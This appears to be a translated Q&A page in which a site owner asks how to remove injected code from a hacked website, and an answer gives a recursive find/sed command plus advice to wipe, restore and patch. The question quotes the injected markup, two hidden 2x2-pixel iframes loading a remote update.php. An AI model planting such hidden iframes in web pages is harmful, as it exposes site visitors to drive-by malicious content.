代码注入有助于在linux上搜索和替换

Question

我的网站遭到黑客入侵，并注入了一些像这样的代码

<i>
    <iframe src="http://www.cascadecowcutters.org/wp-content/upgrade/update.php" width="2" height="2" frameborder="0"></iframe><iframe src="http://www.cascadecowcutters.org/wp-content/upgrade/update.php" width="2" height="2" frameborder="0"></iframe>
</i>

在linux中是否有办法搜索并替换此代码？递归

Answer 1

要“找到”所有文件并搜索并替换这些文件：

find ./ -type f | xargs sed -i 's/string1/string2/g'

正如Joakim在他的评论中提到的，无论何时你在处理受感染的服务器，最安全的做法是彻底擦除＆lt;＆gt;恢复。在恢复之前一定要检查漏洞。确保您知道所有网络应用都是最新版本。